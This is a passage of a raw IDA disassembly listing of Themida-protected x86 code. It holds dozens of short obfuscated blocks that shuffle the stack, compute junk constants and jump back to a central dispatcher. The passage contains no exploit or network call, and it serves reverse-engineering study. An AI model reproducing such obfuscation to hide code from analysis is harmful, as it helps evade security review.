; ---------------------------------------------------------------------------


loc_5584B6:				; CODE XREF: Themida_:0055958Bj
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5584DB:				; CODE XREF: Themida_:0055C81Fj
		pop	ebx
		jmp	loc_559BD3
; ---------------------------------------------------------------------------


loc_5584E1:				; CODE XREF: Themida_:00556826j
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5584ED:				; CODE XREF: Themida_:00559DE2j
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_558503:				; CODE XREF: Themida_:0055B93Fj
		inc	edx
		jmp	loc_55812C
; ---------------------------------------------------------------------------


loc_558509:				; CODE XREF: Themida_:00556274j
		push	edi
		mov	edi, 7E2B1F3Fh
		mov	ebx, edi
		pop	edi
		add	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 42410CD9h
		jmp	loc_55CB13
; ---------------------------------------------------------------------------


loc_558520:				; CODE XREF: Themida_:0055A511j
		pop	ebx
		jmp	loc_55EECA
; ---------------------------------------------------------------------------


loc_558526:				; CODE XREF: Themida_:0055AEC4j
		push	dword ptr [esp+4]
		jmp	loc_559448
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5538E6
; ---------------------------------------------------------------------------


loc_55853E:				; CODE XREF: Themida_:0055CD34j
		push	6E99h
		mov	[esp], eax
		jmp	loc_554A5D
; ---------------------------------------------------------------------------


loc_55854B:				; CODE XREF: Themida_:0055E815j
		mov	eax, 4
		jmp	loc_558F27
; ---------------------------------------------------------------------------


loc_558555:				; CODE XREF: Themida_:005535F0j
		mov	ebp, 548D3DEAh
		add	ebp, 1DF90F87h
		xor	ebp, 2A6F36F1h
		neg	ebp
		jmp	loc_5562D3
; ---------------------------------------------------------------------------


loc_55856D:				; CODE XREF: Themida_:0055E525j
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_556F06
; ---------------------------------------------------------------------------


loc_558588:				; CODE XREF: Themida_:0055EE3Ej
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	ecx, [esp]
		jmp	loc_55924B
; ---------------------------------------------------------------------------


loc_55859B:				; CODE XREF: Themida_:0055AA67j
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_553019
; ---------------------------------------------------------------------------


loc_5585C2:				; CODE XREF: Themida_:00559F08j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5567A9
; ---------------------------------------------------------------------------


loc_5585D3:				; CODE XREF: Themida_:00558FB4j
		mov	ebp, esp
		jmp	loc_558AA2
; ---------------------------------------------------------------------------


loc_5585DA:				; CODE XREF: Themida_:005562E4j
		pop	ebp
		push	esi
		mov	esi, 7AE11379h
		add	ebx, esi
		pop	esi
		push	edi
		jmp	loc_5591F0
; ---------------------------------------------------------------------------


loc_5585EA:				; CODE XREF: Themida_:00557DBBj
		dec	dl
		sub	dl, 2Eh
		add	al, dl
		pop	edx
		add	al, 9Dh
		jmp	loc_554E47
; ---------------------------------------------------------------------------


loc_5585F9:				; CODE XREF: Themida_:0055DFCFj
		push	eax
		mov	eax, 5D001511h
		sub	esi, eax
		pop	eax
		sub	eax, esi
		jmp	loc_55D7B5
; ---------------------------------------------------------------------------


loc_558609:				; CODE XREF: Themida_:0055A2E2j
		inc	ebp
		push	eax
		mov	eax, 27AA1CE5h
		add	eax, 1E2063AAh
		not	eax
		sub	eax, 3DF008D4h
		and	eax, 5C9A3D70h
		sub	eax, 451ABD2Eh
		and	ebp, eax
		mov	eax, [esp]
		jmp	loc_55D808
; ---------------------------------------------------------------------------


loc_558630:				; CODE XREF: Themida_:0055D407j
		sub	edx, 1
		or	edx, 5F7749F8h
		push	ecx
		push	edx
		mov	edx, 4633A16h
		shr	edx, 4
		jmp	loc_55F1D7
; ---------------------------------------------------------------------------


loc_55864B:				; CODE XREF: Themida_:0055B661j
		xor	edx, 1254E0Eh
		jmp	loc_55E513
; ---------------------------------------------------------------------------


loc_558656:				; CODE XREF: Themida_:005575FDj
		mov	edx, 60836B48h
		mov	ebp, edx
		pop	edx
		jmp	loc_55C602
; ---------------------------------------------------------------------------


loc_558663:				; CODE XREF: Themida_:00557352j
		pop	edi
		jmp	loc_55AF8A
; ---------------------------------------------------------------------------


loc_558669:				; CODE XREF: Themida_:005567EAj
		push	edx
		mov	edx, 0EABEC614h
		xor	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55CE26
; ---------------------------------------------------------------------------


loc_55867D:				; CODE XREF: Themida_:0055E6C2j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55EDE0
; ---------------------------------------------------------------------------


loc_558691:				; CODE XREF: Themida_:0055A089j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4E830BA7h
		push	5532h
		jmp	loc_555352
; ---------------------------------------------------------------------------


loc_5586A4:				; CODE XREF: Themida_:00554BDCj
		mov	edx, 85B8C318h
		add	edx, 26747E2Ah
		add	edx, ebx
		sub	edx, 26747E2Ah
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 46D42C30h
		jmp	loc_55CAE4
; ---------------------------------------------------------------------------


loc_5586C8:				; CODE XREF: Themida_:0055C17Fj
		add	edx, 56135653h
		add	edx, edi
		sub	edx, 56135653h
		jmp	loc_55D5A1
; ---------------------------------------------------------------------------


loc_5586DB:				; CODE XREF: Themida_:0055619Cj
		not	dword ptr [esp]
		pop	edx
		xor	edx, 96E6D184h
		or	esi, edx
		pop	edx
		jmp	loc_55DD18
; ---------------------------------------------------------------------------


loc_5586ED:				; CODE XREF: Themida_:005543D2j
		xor	esi, ecx
		push	dword ptr [esp]
		jmp	loc_555B48
; ---------------------------------------------------------------------------


loc_5586F7:				; CODE XREF: Themida_:0055A467j
		add	bl, 0F6h
		pop	ax
		movzx	eax, al
		jmp	loc_55B8E3
; ---------------------------------------------------------------------------


loc_558704:				; CODE XREF: Themida_:0055C28Dj
		add	edx, 15734848h
		pop	eax
		sub	edx, 0FFFFFFFFh
		push	esi
		mov	esi, 715B2369h
		xor	esi, 25F265AFh
		xor	esi, 2BEA6076h
		or	esi, 3E8F39F0h
		or	esi, 273688Ah
		neg	esi
		add	esi, 0B18BFD66h
		add	edx, esi
		jmp	loc_55EB87
; ---------------------------------------------------------------------------


loc_55873B:				; CODE XREF: Themida_:0055BA8Dj
		push	esi
		jmp	loc_55D764
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_559219
; ---------------------------------------------------------------------------


loc_55874A:				; CODE XREF: Themida_:005598E1j
		add	ebx, 4
		jmp	loc_55B448
; ---------------------------------------------------------------------------


loc_558755:				; CODE XREF: Themida_:00557B13j
		add	edi, esi
		pop	esi
		push	ecx
		jmp	loc_55CB4D
; ---------------------------------------------------------------------------


loc_55875E:				; CODE XREF: Themida_:0055C938j
		mov	ah, 0Dh
		shr	ah, 1
		inc	ah
		shl	ah, 6
		add	ah, 0Ah
		sub	cl, ah
		pop	ax
		add	cl, 0Bh
		xor	al, cl
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_555604
; ---------------------------------------------------------------------------


loc_558784:				; CODE XREF: Themida_:0055EF9Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_55BBA0
; ---------------------------------------------------------------------------


loc_558793:				; CODE XREF: Themida_:0055D35Ej
		add	eax, 4
		jmp	loc_55BC89
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5587AB:				; CODE XREF: Themida_:00554E28j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55D6BC
; ---------------------------------------------------------------------------


loc_5587B6:				; CODE XREF: Themida_:005573DAj
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55E7D9
; ---------------------------------------------------------------------------


loc_5587CA:				; CODE XREF: Themida_:0055345Fj
		push	3FC0h
		jmp	loc_553F29
; ---------------------------------------------------------------------------


loc_5587D4:				; CODE XREF: Themida_:0055B681j
		add	edx, ecx
		jmp	loc_555AB0
; ---------------------------------------------------------------------------


loc_5587DB:				; CODE XREF: Themida_:0055E0E0j
		sub	[esp+4], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4F4B1420h
		sub	[esp+8], ebx
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_55AC6A
; ---------------------------------------------------------------------------


loc_558800:				; CODE XREF: Themida_:0055B0FCj
		mov	[esp], esi
		mov	esi, 4C9C466Ah
		shl	esi, 6
		or	esi, 413E1A74h
		neg	esi
		sub	esi, 35B73A6Eh
		xor	edx, esi
		pop	esi
		mov	eax, edx
		pop	edx
		jmp	loc_553FDB
; ---------------------------------------------------------------------------


loc_558824:				; CODE XREF: Themida_:0055A3B2j
		neg	bh
		neg	bh
		jmp	loc_5544C1
; ---------------------------------------------------------------------------


loc_55882D:				; CODE XREF: Themida_:00558B71j
		push	edi
		mov	edi, 41905095h
		sub	esi, 1F461749h
		sub	esi, edi
		add	esi, 1F461749h
		pop	edi
		jmp	loc_557937
; ---------------------------------------------------------------------------


loc_558847:				; CODE XREF: Themida_:0055AB18j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		dec	dword ptr [esp]
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55885E:				; CODE XREF: Themida_:005565CAj
		mov	edx, 2
		jmp	loc_55CBC6
; ---------------------------------------------------------------------------


loc_558868:				; CODE XREF: Themida_:005541D2j
		mov	dh, 3Ch
		sub	dh, 72h
		dec	dh
		not	dh
		neg	dh
		shr	dh, 3
		add	dh, 61h
		sub	al, dh
		jmp	loc_555D7D
; ---------------------------------------------------------------------------


loc_558880:				; CODE XREF: Themida_:0055EF19j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	near ptr word_557A52
; ---------------------------------------------------------------------------


loc_558892:				; CODE XREF: Themida_:00555334j
		push	eax
		jmp	loc_55BCB0
; ---------------------------------------------------------------------------


loc_558898:				; CODE XREF: Themida_:00554B0Dj
		shr	ebx, 6
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		add	ebx, 67BE74BCh
		jmp	loc_558387
; ---------------------------------------------------------------------------


loc_5588AB:				; CODE XREF: Themida_:0055C9E0j
		xor	edi, [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_55925A
; ---------------------------------------------------------------------------


loc_5588BA:				; CODE XREF: Themida_:005543DDj
		push	esp
		pop	esi
		jmp	loc_5599C6
; ---------------------------------------------------------------------------


loc_5588C1:				; CODE XREF: Themida_:005590AFj
		push	ebp
		jmp	loc_55CF39
; ---------------------------------------------------------------------------


loc_5588C7:				; CODE XREF: Themida_:00559F24j
		push	31h
		mov	[esp], esi
		push	edx
		push	69BC7AA9h
		pop	edx
		push	ecx
		push	2966826h
		pop	ecx
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		pop	esi
		pop	edx
		push	1E5Ah
		jmp	loc_553833
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		push	edi
		jmp	loc_55B988
; ---------------------------------------------------------------------------


loc_5588FF:				; CODE XREF: Themida_:0055BC7Dj
		pop	eax
		xor	eax, 69A51A78h
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_553362
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_558918:				; CODE XREF: sub_5747D8-20360j
		add	bl, ah
		jmp	loc_553E28
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55891F:				; CODE XREF: Themida_:00553FF3j
		push	esi
		jmp	loc_55B34A
; ---------------------------------------------------------------------------


loc_558925:				; CODE XREF: Themida_:0055C550j
		xor	eax, 0EA899FDEh
		mov	ecx, eax
		pop	eax
		mov	edx, 65EC1556h
		xor	edx, ecx
		pop	ecx
		add	esi, edx
		pop	edx
		push	edx
		jmp	loc_55C9E5
; ---------------------------------------------------------------------------


loc_55893E:				; CODE XREF: Themida_:0055A47Fj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 59E55B83h
		jmp	loc_55DCD2
; ---------------------------------------------------------------------------


loc_558951:				; CODE XREF: Themida_:0055BE54j
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_55EAA2
; ---------------------------------------------------------------------------


loc_55895F:				; CODE XREF: Themida_:005558D4j
		mov	edi, esp
		jmp	loc_553F01
; ---------------------------------------------------------------------------


loc_558966:				; CODE XREF: Themida_:0055B79Bj
		push	ebx
		jmp	loc_5551B1
; ---------------------------------------------------------------------------


loc_55896C:				; CODE XREF: Themida_:0055D75Aj
		xchg	edx, ebp
		inc	ebp
		sub	ebp, 995AE17Dh
		push	edi
		mov	edi, 22DA1FBFh
		add	eax, edi
		pop	edi
		jmp	loc_55830C
; ---------------------------------------------------------------------------


loc_558983:				; CODE XREF: Themida_:00555889j
		not	al
		or	al, 4Ah
		sub	al, 93h
		add	al, 6Ch
		jmp	near ptr unk_553173
; ---------------------------------------------------------------------------


loc_558990:				; CODE XREF: Themida_:005551D4j
		mov	[esp], esp
		jmp	loc_555810
; ---------------------------------------------------------------------------


loc_558998:				; CODE XREF: Themida_:0055AEE3j
		push	edi
		jmp	loc_554007
; ---------------------------------------------------------------------------
		push	edx
		push	eax
		mov	eax, 5BB51E6Ch
		jmp	loc_559C87
; ---------------------------------------------------------------------------


loc_5589AA:				; CODE XREF: Themida_:0055F20Fj
		xor	ebx, 94F6EA37h
		xor	esi, ebx
		jmp	loc_55ED01
; ---------------------------------------------------------------------------


loc_5589B7:				; CODE XREF: Themida_:0055DDF6j
		mov	[esp], esi
		jmp	loc_5598E6
; ---------------------------------------------------------------------------


loc_5589BF:				; CODE XREF: Themida_:00557D53j
		add	ebx, 2912874Eh
		mov	edx, ebx
		pop	ebx
		sub	edx, ebp
		jmp	loc_5561FB
; ---------------------------------------------------------------------------


loc_5589CF:				; CODE XREF: Themida_:0055BBBCj
		push	ebx
		push	esi
		jmp	loc_5577A1
; ---------------------------------------------------------------------------


loc_5589D6:				; CODE XREF: Themida_:005569C9j
		xor	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, 53h
		shl	dl, 5
		push	ax
		mov	ah, dl
		not	ah
		mov	dl, ah
		pop	ax
		sub	dl, 0BAh
		add	al, dl
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_554B4A
; ---------------------------------------------------------------------------


loc_558A03:				; CODE XREF: Themida_:0055D2FCj
		push	edx
		jmp	loc_55E1D9
; ---------------------------------------------------------------------------


loc_558A09:				; CODE XREF: Themida_:0055D3DAj
		pop	esi
		xor	ebp, 2541C05h
		push	edi
		mov	edi, ebp
		push	edi
		push	dword ptr [esp]
		pop	edx
		jmp	loc_555998
; ---------------------------------------------------------------------------


loc_558A1D:				; CODE XREF: Themida_:00556E20j
		pop	edi
		add	esp, 4
		jmp	loc_55AA5C
; ---------------------------------------------------------------------------


loc_558A29:				; CODE XREF: Themida_:00559D8Aj
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5559A0
; ---------------------------------------------------------------------------


loc_558A48:				; CODE XREF: Themida_:005594D9j
		push	16DAh
		mov	[esp], edi
		mov	edi, esp
		push	esi
		push	2B7E2Dh
		jmp	loc_556174
; ---------------------------------------------------------------------------


loc_558A5D:				; CODE XREF: Themida_:0055ACFFj
		mov	[esp], edx
		mov	edx, 2
		mov	ebp, edx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_55B160
; ---------------------------------------------------------------------------


loc_558A89:				; CODE XREF: Themida_:0055BA7Aj
		push	eax
		push	1039h
		mov	[esp], esi
		push	66F854E2h
		pop	esi
		push	0E35h
		jmp	loc_55BD93
; ---------------------------------------------------------------------------


loc_558AA2:				; CODE XREF: Themida_:005585D5j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_554EC0
; ---------------------------------------------------------------------------


loc_558AC0:				; CODE XREF: Themida_:00553EFCj
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_558AD6:				; CODE XREF: Themida_:0055718Aj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		mov	edi, 39ED0AFFh
		sub	edi, 157A1830h
		push	eax
		mov	eax, 0A101C96h
		sub	edi, eax
		pop	eax
		add	edi, 1A07926Ch
		mov	ebx, edi
		pop	edi
		and	ebx, 7EAD238Fh
		add	ebx, 0CBD7E37Bh
		and	eax, ebx
		jmp	loc_55DBC0
; ---------------------------------------------------------------------------


loc_558B0E:				; CODE XREF: Themida_:00553D2Ej
		add	edi, 4
		add	edi, 4
		jmp	loc_55F0C7
; ---------------------------------------------------------------------------


loc_558B1F:				; CODE XREF: Themida_:00559CEFj
		push	ecx
		mov	ecx, 691637A7h
		sub	ecx, 0D3D2128h
		add	ecx, 0FFFFFFFFh
		or	ecx, 55DE2B39h
		inc	ecx
		or	ecx, 7E471E5h
		sub	ecx, 4B2237E8h
		and	ebp, ecx
		pop	ecx
		push	4B0Eh
		jmp	loc_55ADA7
; ---------------------------------------------------------------------------


loc_558B4E:				; CODE XREF: Themida_:005549B7j
		dec	ecx
		add	ecx, 93F4F29Fh
		xor	eax, ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edi
		push	4
		pop	edi
		add	esi, 41905095h
		add	esi, edi
		jmp	loc_55882D
; ---------------------------------------------------------------------------


loc_558B76:				; CODE XREF: Themida_:00556BA3j
		shr	eax, 0Ah
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		pop	eax
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55978C
; ---------------------------------------------------------------------------


loc_558B8C:				; CODE XREF: Themida_:0055D906j
		sub	esi, 0C9A3AD3h
		xor	ebx, esi
		jmp	loc_55C4D0
; ---------------------------------------------------------------------------


loc_558B99:				; CODE XREF: Themida_:0055D939j
		xor	eax, edx
		push	dword ptr [esp]
		jmp	loc_55431E
; ---------------------------------------------------------------------------


loc_558BA3:				; CODE XREF: Themida_:0055A03Cj
		mov	ecx, eax
		jmp	loc_5599E5
; ---------------------------------------------------------------------------


loc_558BAA:				; CODE XREF: Themida_:005599ECj
		add	ecx, 75F04F01h
		add	ecx, edi
		sub	ecx, 75F04F01h
		add	ecx, 3E8614FBh
		push	dword ptr [ecx]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 62BF1AC3h
		sub	dword ptr [esp+4], 72CB6433h
		add	[esp+4], esi
		add	dword ptr [esp+4], 72CB6433h
		jmp	loc_553C86
; ---------------------------------------------------------------------------


loc_558BE7:				; CODE XREF: Themida_:0055DB64j
		push	esi
		mov	esi, 4
		jmp	loc_55E781
; ---------------------------------------------------------------------------


loc_558BF2:				; CODE XREF: Themida_:00555B43j
		xor	edx, 657F4EE3h
		add	edx, 48155A2Ah
		jmp	loc_55D62C
; ---------------------------------------------------------------------------


loc_558C03:				; CODE XREF: Themida_:00559A10j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		push	4
		pop	edi
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		shr	ecx, 0Bh
		jmp	loc_55E80B
; ---------------------------------------------------------------------------


loc_558C24:				; CODE XREF: Themida_:00555533j
		pop	esi
		sub	esi, 1BF366CDh
		jmp	loc_5541E7
; ---------------------------------------------------------------------------


loc_558C30:				; CODE XREF: Themida_:0055427Dj
		add	ebp, edx
		jmp	loc_55AADB
; ---------------------------------------------------------------------------


loc_558C37:				; CODE XREF: Themida_:0055B631j
		push	dx
		mov	dh, 0D5h
		xor	cl, dh
		pop	dx
		add	bl, cl
		jmp	loc_556D77
; ---------------------------------------------------------------------------


loc_558C46:				; CODE XREF: Themida_:0055D383j
		mov	esp, [esp]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_558C4E:				; CODE XREF: Themida_:00557BF6j
		or	bh, 0CFh
		shr	bh, 4
		sub	bh, 0Fh
		xor	bh, 28h
		add	bh, 0F7h
		jmp	loc_55E7C0
; ---------------------------------------------------------------------------


loc_558C62:				; CODE XREF: Themida_:00555993j
		push	ebp
		push	47DDh
		jmp	loc_55BC10
; ---------------------------------------------------------------------------


loc_558C6D:				; CODE XREF: Themida_:0055C791j
		mov	edi, 367F0E3Bh
		shl	edi, 7
		xor	edi, 33FA1CC1h
		xor	edi, 0C7D0145h
		mov	edx, edi
		pop	edi
		mov	edi, edx
		pop	edx
		sub	dword ptr [esp+4], 7CE917B8h
		add	[esp+4], edi
		add	dword ptr [esp+4], 7CE917B8h
		pop	edi
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5534FE
; ---------------------------------------------------------------------------


loc_558CB2:				; CODE XREF: Themida_:005579BBj
		not	ebx
		push	edi
		push	28F007Bh
		pop	edi
		sub	edi, 28036C71h
		shl	edi, 7
		inc	edi
		xchg	esi, edi
		neg	esi
		jmp	loc_55C6C6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6A81h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ecx
		jmp	loc_559C0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_558CE2:				; CODE XREF: sub_5747D8-15CFAj
		add	esp, 4
		sub	esp, 4
		jmp	loc_55AD44
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_558CF3:				; CODE XREF: Themida_:0055F05Ej
		sub	esi, 40E96ED8h
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]


loc_558D00:				; CODE XREF: Themida_:0055C171j
		push	edx
		mov	edx, ebx
		push	edx
		add	dword ptr [esp], 450A6417h
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 450A6417h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_553947
; ---------------------------------------------------------------------------


loc_558D26:				; CODE XREF: Themida_:0055CF34j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_55B6B4
; ---------------------------------------------------------------------------


loc_558D36:				; CODE XREF: Themida_:0055A0CAj
		mov	esp, [esp]
		mul	cx
		push	small 11F7h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_558D4C:				; CODE XREF: Themida_:0055913Dj
		xchg	edx, [esp]
		jmp	loc_55DC3D
; ---------------------------------------------------------------------------


loc_558D54:				; CODE XREF: Themida_:00559EBEj
		xchg	ecx, [esp]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_558D62:				; CODE XREF: Themida_:0055D33Fj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_553A3F
; ---------------------------------------------------------------------------


loc_558D6D:				; CODE XREF: Themida_:005590D5j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_557B51
; ---------------------------------------------------------------------------


loc_558D76:				; CODE XREF: Themida_:0055CB48j
		add	ebx, 7F856F2Dh
		sub	edx, ebx
		pop	ebx
		and	edx, 1043718Ah
		add	edx, 1
		add	edx, 40EF6F1h
		and	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_555562
; ---------------------------------------------------------------------------


loc_558DA1:				; CODE XREF: Themida_:00553EE9j
		push	esi
		mov	esi, 636E3D32h
		jmp	loc_55C0B2
; ---------------------------------------------------------------------------


loc_558DAC:				; CODE XREF: Themida_:00558401j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55E934
; ---------------------------------------------------------------------------


loc_558DB5:				; CODE XREF: Themida_:005541EFj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 2
		push	ebx
		jmp	loc_5575FB
; ---------------------------------------------------------------------------


loc_558DD9:				; CODE XREF: Themida_:0055BBC4j
		add	esp, 4
		sub	eax, 72CC78DFh
		mov	edi, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_558DF3:				; CODE XREF: Themida_:005540FBj
		mov	bl, 96h
		add	cl, bl
		pop	bx
		add	al, cl
		pop	ecx
		push	ebx
		push	edx
		push	eax
		jmp	loc_55DBF2
; ---------------------------------------------------------------------------


loc_558E04:				; CODE XREF: Themida_:00552F29j
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_55344C
; ---------------------------------------------------------------------------


loc_558E10:				; CODE XREF: Themida_:0055EA23j
		inc	esi
		push	edi
		jmp	loc_559142
; ---------------------------------------------------------------------------


loc_558E17:				; CODE XREF: Themida_:0055E09Bj
		shr	edi, 8
		jmp	loc_55D009
; ---------------------------------------------------------------------------


loc_558E1F:				; CODE XREF: Themida_:0055BEF3j
		not	dword ptr [esp]
		pop	edx
		jmp	loc_55B0E1
; ---------------------------------------------------------------------------


loc_558E28:				; CODE XREF: Themida_:005546F8j
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		sub	ebx, 0D443BB3h
		push	esi
		push	eax
		push	0D5701EEh
		jmp	loc_5556F0
; ---------------------------------------------------------------------------


loc_558E41:				; CODE XREF: Themida_:0055DE7Cj
		mov	ecx, [esp]
		add	esp, 4
		push	1D44h
		jmp	loc_55BAEB
; ---------------------------------------------------------------------------


loc_558E54:				; CODE XREF: Themida_:00558294j
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_556FE3
; ---------------------------------------------------------------------------


loc_558E63:				; CODE XREF: Themida_:005567B8j
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xor	esi, [esp]
		jmp	loc_554282
; ---------------------------------------------------------------------------


loc_558E74:				; CODE XREF: Themida_:0055EB82j
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2
		jmp	loc_55B573
; ---------------------------------------------------------------------------


loc_558E8C:				; CODE XREF: Themida_:0055CF61j
		dec	eax
		push	eax
		neg	dword ptr [esp]
		pop	eax
		dec	eax
		push	esi
		mov	esi, 82A1D443h
		add	eax, 73601888h
		add	eax, esi
		jmp	loc_55E179
; ---------------------------------------------------------------------------


loc_558EA5:				; CODE XREF: Themida_:0055C1CFj
		push	ebx
		mov	ebx, 40F23EC5h
		inc	ebx
		add	ebx, 7B843C58h
		jmp	loc_55D601
; ---------------------------------------------------------------------------


loc_558EB7:				; CODE XREF: Themida_:0055C959j
		mov	eax, [esp]
		push	ebx
		jmp	loc_559FEE
; ---------------------------------------------------------------------------


loc_558EC0:				; CODE XREF: Themida_:0055C65Fj
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_558EC5:				; CODE XREF: Themida_:0055BC0Bj
		mov	ebp, esi
		jmp	loc_55E685
; ---------------------------------------------------------------------------


loc_558ECC:				; CODE XREF: Themida_:00556DFBj
		add	[esp], al
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_558ED5:				; CODE XREF: Themida_:0055B1CBj
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		bt	[esp], eax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55486B
; ---------------------------------------------------------------------------


loc_558F0D:				; CODE XREF: Themida_:005534C2j
		push	ecx
		mov	ecx, 6BD4725Ah
		neg	ecx
		dec	ecx
		dec	ecx
		not	ecx
		add	ecx, 0CC2A0354h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_5577DA
; ---------------------------------------------------------------------------


